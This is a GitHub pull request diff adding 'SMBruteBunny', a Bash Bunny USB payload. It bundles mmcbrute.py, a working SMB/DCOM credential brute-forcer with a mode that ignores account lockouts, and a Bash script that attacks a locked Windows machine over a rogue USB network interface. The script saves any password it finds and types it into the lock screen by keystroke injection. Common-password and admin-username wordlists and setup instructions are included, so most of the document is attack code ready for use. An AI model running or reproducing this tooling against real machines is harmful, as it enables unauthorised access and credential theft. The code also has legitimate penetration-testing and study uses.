Merge pull request #383 from SymbianSyMoh/master

Yet another but FASTER SMB Bruteforce payload for Bash Bunny
pull/391/head
Marc 2019-07-12 01:11:16 +00:00 committed by GitHub
commit d67b95a220
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
7 changed files with 466 additions and 0 deletions

View File

@ -0,0 +1,29 @@
BSD 3-Clause License
Copyright (c) 2018, Corey Gilks
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

View File

@ -0,0 +1,31 @@
## Description
Initiate a Microsoft Management Console (MMC) DCOM bruteforce. This script was inspired by mmcexec.py in the impacket library. The idea is to use the error codes that return after an attempted connection to determine if credentials are valid.
This script is useful for environments where smb logins are disabled, thus preventing the smb reverse bruteforce. The target must be a domain joined windows host with the windows firewall off. The firewall must be off because by default because DCOM connections are not authorized by the Windows Firewall.
By default, the script will not show failed login attempts. To view failed login attempts you must specify the verbose option, -v. The script is also designed to quit if an account lockout is detected. If this is not desired you must specify honey badger mode, -b. You are also able to tell mmcbrute that you want to try user as pass by specifying -U. See the help menu for a full list of options (-h).
A progress bar will update in real time to let you know how the attack is progressing. There's nothing more frustrating than a bruteforcer that doesn't provide any feedback as it's running.
## Output
![honey badger mode](https://user-images.githubusercontent.com/11075149/33751087-62af2cec-dba6-11e7-9924-ae7445125768.png)
## Requirements
The impacket library is required in order to run this script.
```
pip2 install impacket
```
If that fails, you can get the library from here.
```
https://github.com/CoreSecurity/impacket
```
## Example Usage:
users.txt = Unique usernames separated by new lines
pass.txt = Unique passwords separated by new lines
```
./mmcbrute.py -t 10.10.10.10 -d DOMAIN -u users.txt -p pass.txt
```

View File

@ -0,0 +1,189 @@
#!/usr/bin/python2
#
# mmcbrute.py
#
# Copyright 2017 Corey Gilks <CoreyGilks [at] gmail [dot] com>
# Twitter: @CoreyGilks
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
# MA 02110-1301, USA.
import argparse
import datetime
import sys
import os
import logging
try:
from impacket.smbconnection import SMBConnection
except ImportError:
print 'You must install impacket before continuing'
sys.exit(os.EX_SOFTWARE)
def is_readable_file(path):
return os.path.isfile(path) and os.access(path, os.R_OK)
class MMCBrute(object):
def __init__(self, usernames, passwords, domain, target, user_as_pass=False, honeybadger=False, verbose=False, loglvl='INFO'):
self.usernames = open(usernames, 'r')
self.len_usernames = sum((1 for _ in self.usernames))
self.usernames.seek(os.SEEK_SET)
self.domain = domain
self.target = target
self.honeybadger = honeybadger
self.verbose = verbose
self.user_as_pass = user_as_pass
self.log = logging.getLogger(logging.basicConfig(level=getattr(logging, loglvl), format=''))
self.count = 0
self.len_passwords = 0
if passwords is not None:
self.passwords = open(passwords, 'r')
self.len_passwords = sum((1 for _ in self.passwords))
self.passwords.seek(os.SEEK_SET)
if self.user_as_pass and passwords is not None:
self.len_passwords += 1
elif self.user_as_pass:
self.passwords = False
self.len_passwords += 1
self.totals = self.len_usernames * self.len_passwords
@classmethod
def from_args(cls, args):
return cls(args.usernames, args.passwords, args.domain, args.target, args.uap, args.hb, args.verbose, args.loglvl)
def update_progress(self):
self.count += 1
sys.stdout.write("Progress: {0}/{1} ({2}%) \r".format(self.count, self.totals, (100 * self.count / self.totals)))
sys.stdout.flush()
def run(self):
smb_connection = SMBConnection(self.target, self.target)
for user in enumerate(self.usernames):
user = user[-1].strip()
if self.user_as_pass:
self.update_progress()
next_user = self.login(self.domain, user, user, smb_connection)
if next_user:
# Restablish smb_connection to avoid false positves
smb_connection.close()
smb_connection = SMBConnection(self.target, self.target)
continue
if self.passwords:
self.passwords.seek(os.SEEK_SET)
for password in enumerate(self.passwords):
self.update_progress()
next_user = self.login(self.domain, user, password[-1].strip(), smb_connection)
if next_user:
# Restablish smb_connection to avoid false positves
smb_connection.close()
smb_connection = SMBConnection(self.target, self.target)
break
def login(self, domain, username, password, smb_connection):
attempt = "{0}/{1}:{2}".format(domain, username, password)
try:
# This line will always raise an exception unless the credentials can initiate an smb connection
smb_connection.login(username, password, domain)
self.log.info("[+] Success (Account Active) {0}".format(attempt))
return True
except Exception as msg:
msg = str(msg)
if 'STATUS_NO_LOGON_SERVERS' in msg:
self.log.info('[-] No Logon Servers Available')
sys.exit(os.EX_SOFTWARE)
elif 'STATUS_LOGON_FAILURE' in msg:
if self.verbose:
self.log.info("[-] Failed {0}".format(attempt))
return False
elif 'STATUS_ACCOUNT_LOCKED_OUT' in msg:
print "[-] Account Locked Out {0}".format(attempt)
if not self.honeybadger:
self.log.info(
'[!] Honey Badger mode not enabled. Halting to prevent further lockouts..')
answer = str(raw_input('[!] Would you like to proceed with the bruteforce? (Y/N) '))
if answer.lower() in ["y", "yes", ""]:
self.log.info('[*] Resuming...')
return False
else:
self.log.info('[-]Exiting...')
sys.exit(os.EX_SOFTWARE)
elif 'STATUS_PASSWORD_MUST_CHANGE' in msg:
self.log.info("[+] Success (User never logged in to change password) {0}".format(attempt))
elif 'STATUS_ACCESS_DENIED' in msg or 'STATUS_LOGON_TYPE_NOT_GRANTED' in msg:
self.log.info("[+] Success (Account Active) {0}".format(attempt))
elif 'STATUS_PASSWORD_EXPIRED' in msg:
self.log.info("[+] Success (Password Expired) {0}".format(attempt))
elif 'STATUS_ACCOUNT_DISABLED' in msg:
self.log.info("[-] Valid Password (Account Disabled) {0}".format(attempt))
else:
self.log.info("[-] Unknown error: {0}\t{1}".format(msg, attempt))
return True
def end(self):
self.log.info("\nEnded at:\t\t{0:%I:%M %p on %B %d, %Y}\n".format(datetime.datetime.now()))
def info(self):
self.log.info("Target:\t\t\t{0}".format(self.target))
self.log.info("Username count:\t\t{0}".format(self.len_usernames))
self.log.info("Password count:\t\t{0}".format(self.len_passwords))
self.log.info("Estimated attempts:\t{0}".format(self.totals))
self.log.info("User-as-Pass Mode:\t{0!r}".format(self.user_as_pass))
self.log.info("Honey Badger Mode:\t{0!r}".format(self.honeybadger))
self.log.info("Verbose:\t\t{0!r}".format(self.verbose))
self.log.info("Time:\t\t\t{0:%I:%M %p on %B %d, %Y}\n".format(datetime.datetime.now()))
if __name__ == '__main__':
parser = argparse.ArgumentParser(add_help=True, description='Use MMC DCOM to bruteforce valid credentials')
parser.add_argument('-L', dest='loglvl', action='store', choices=['DEBUG', 'INFO', 'WARNING', 'ERROR', 'CRITICAL'], default='INFO', help='set the logging level')
group = parser.add_argument_group('Bruteforce options')
group.add_argument('-t', '--target', action='store', required=True, dest='target', help='Windows domain joined IP address')
group.add_argument('-d', '--domain', action='store', default='.', dest='domain', help='Target domain name (same domain you prepend a username with to login)')
group.add_argument('-p', '--passwords', action='store', dest='passwords', help='Text file of passwords')
group.add_argument('-U', '--user-as-pass', action='store_true', dest='uap', help='Attempt to login with user as pass')
group.add_argument('-u', '--usernames', action='store', required=True, dest='usernames', help='Text file of usernames')
group.add_argument('-b', '--honeybadger', action='store_true', dest='hb', help='Enable Honey Badger mode (ignore account locks out)')
group.add_argument('-v', '--verbose', action='store_true', dest='verbose', help='Show failed bruteforce attempts')
options = parser.parse_args()
if options.passwords is None and options.uap is False:
parser.error('The --passwords or --user-as-pass option is required')
if not is_readable_file(options.usernames):
parser.error('The --usernames option must be a readable file')
if options.passwords is not None and not is_readable_file(options.passwords):
parser.error('The --passwords option must be a readable file')
try:
brute = MMCBrute.from_args(options)
brute.info()
brute.run()
except KeyboardInterrupt:
print('\n[*] Caught ctrl-c, exiting')
finally:
brute.end()

View File

@ -0,0 +1,100 @@
123456
password
12345678
qwerty
123456789
12345
1234
111111
1234567
dragon
123123
baseball
abc123
football
monkey
letmein
696969
shadow
master
666666
qwertyuiop
123321
mustang
1234567890
michael
654321
pussy
superman
1qaz2wsx
7777777
fuckyou
121212
000000
qazwsx
123qwe
killer
trustno1
jordan
jennifer
zxcvbnm
asdfgh
hunter
buster
soccer
harley
batman
andrew
tigger
sunshine
iloveyou
fuckme
2000
charlie
robert
thomas
hockey
ranger
daniel
starwars
klaster
112233
george
asshole
computer
michelle
jessica
pepper
1111
zxcvbn
555555
11111111
131313
freedom
777777
pass
fuck
maggie
159753
aaaaaa
ginger
princess
joshua
cheese
amanda
summer
love
ashley
6969
nicole
chelsea
biteme
matthew
access
yankees
987654321
dallas
austin
thunder
taylor
matrix

View File

@ -0,0 +1,70 @@
#!/bin/bash
#
# Title: SMBruteBunny
# Author: Mohamed A. Baset (@SymbianSyMoh)
# Version: 1.0
# Targets: Windows
# Attack Modes: HID, RNDIS_ETHERNET
# Description: Bruteforces open Windows SMB protocol for valid Credentials against the bruteforce
# dictionnary stored in variables "$user_bruteforce_list" and "$pass_bruteforce_list"
# then dump the results in text file stored in variable "$password_process_file" then
# check for valid or invalid credentials, if valid creds found, store it loot in varaible
# "$password_loot_file" then quack it to unlock the machine.
#
# LEDS:
# SETUP: Script Setup Stage.
# STAGE1: Script Stage1 Initialized "Bruteforcing the open SMB for valid Credentials".
# STAGE2: Script Stage2 Initialized "Checking Bruteforce results".
# GREEN: SMB Credentials Found.
# FAIL: SMB Credentials Not Found.
# CLEANUP: Cleaning up and Syncing filesystem.
# FINISH: Finished.
# Setup
LED SETUP
REQUIRETOOL impacket
CUCUMBER PLAID
mount /dev/nandf /root/udisk/
GET SWITCH_POSITION
BBSWITCH="/root/udisk/payloads/$SWITCH_POSITION"
password_process_file="$BBSWITCH/ppf.txt"
password_loot_file="$BBSWITCH/credentials.txt"
user_bruteforce_list="$BBSWITCH/userlist.txt"
pass_bruteforce_list="$BBSWITCH/passlist.txt"
mmcbrute_path="$BBSWITCH/mmcbrute"
ATTACKMODE HID RNDIS_ETHERNET
GET TARGET_IP
GET TARGET_HOSTNAME
# A little trick: Sometimes the host name is the same as the username so we will add it to the username and the password wordlists automatically to be used during the brute force attack.
echo $TARGET_HOSTNAME >> $user_bruteforce_list
echo $TARGET_HOSTNAME >> $pass_bruteforce_list
# Perform SMB bruteforce attack
LED STAGE1
python $mmcbrute_path/mmcbrute.py -t $TARGET_IP -u $user_bruteforce_list -p $pass_bruteforce_list 2> $password_process_file
# Check for results
LED STAGE2
if grep -q "Success" $password_process_file; then
LED G
# Extract and Store the loot, then quack it
pass=$(cat $password_process_file | grep "./" | cut -d "/" -f 2 | cut -d ":" -f 2)
echo "Machine: $TARGET_HOSTNAME - User: $user - Pass: $pass" >> $password_loot_file
# Waking up the screen if sleeping, if not, pressing "ESC" won't affect anything
QUACK ESC
sleep 1
QUACK STRING $pass
sleep 1
QUACK ENTER
else
LED FAIL
fi
# Finishing
LED CLEANUP
sync; sleep 1; sync
LED FINISH

View File

@ -0,0 +1,42 @@
# SMBruteBunny
```
/ \
/ _ \
| / \ |
|| || _______
|| || |\ \
|| || ||\ \
|| || || \ |
|| || || \__/
|| || || ||
\\_/ \_/ \_//
/ _ _ \
/ \
| O O |
| \ ___ / |
/ \ \_/ / \
/ ----- | --\ \
| \__/|\__/ \ |
\ |_|_| /
\_____ S M B ____/
\ /
| |
------------------------------------------------
SMBruteBunny by: @SymbianSyMoh
```
* Author: Mohamed A. Baset aka [@SymbianSyMoh](https://twitter.com/symbiansymoh)
## Description
This payload exploits the inherited trust between USB pripherals and computers by setting up an RNDIS interface that works as a DHCP server and offer leases to the connected hosts then it can see the open SMB port which is 445 hence the bruteforcing process starts and once the password is found it will be entered to the lock screen via HID script and unlocking the target machine.
## What to expect?
Once the password found it will be stored under the "loot" folder and will be entered automatically in the lock screen resulting in unlocking the targeted machine.
## Setup
1. Copy the payload files to the desired Bash Bunny switch.
2. Switch to the switch which contains the payload
3. Plug the BashBunny in a locked computer, once the DHCP lease is being offered it will perform SMB bruteforce attack and once succeded it will fire HID script to enter the password and unlock the machine.
## Credits
[Corey Gilks](https://github.com/Gilks) for [mmcbrute](https://github.com/Gilks/mmcbrute)

View File

@ -0,0 +1,5 @@
admin
administrator
administrador
guest
user